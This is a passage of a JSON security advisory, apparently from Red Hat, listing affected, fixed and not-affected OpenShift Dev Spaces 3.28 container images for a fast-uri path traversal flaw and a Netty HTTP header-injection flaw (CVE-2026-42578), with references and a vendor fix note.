"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "fast-uri: fast-uri: Path traversal vulnerability allows bypass of security policies"
},
{
"cve": "CVE-2026-42578",
"cwe": {
"id": "CWE-93",
"name": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)"
},
"discovery_date": "2026-05-13T19:02:00.826936+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477226"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty. The HttpProxyHandler component, which handles HTTP CONNECT requests, does not properly validate user-provided outbound headers. This allows an attacker to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. This could lead to unexpected behavior or potential bypass of security controls on the proxy server.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Important: This vulnerability in Netty\u0027s HttpProxyHandler allows for HTTP header injection into CONNECT requests when an attacker can influence outbound headers. The handler\u0027s explicit disabling of header validation could enable proxy-related attacks, such as cache poisoning or bypassing security controls, impacting applications utilizing this component.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x"
],
"known_not_affected": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42578"
},
{
"category": "external",
"summary": "RHBZ#2477226",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477226"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42578",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42578"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr",
"url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
}
],
"release_date": "2026-05-13T17:57:43.538000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T19:42:14+00:00",
"details": "Before applying this update, make sure all previously released errata relevant to your system have been applied.\nFor details on how to apply this update, refer to:\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
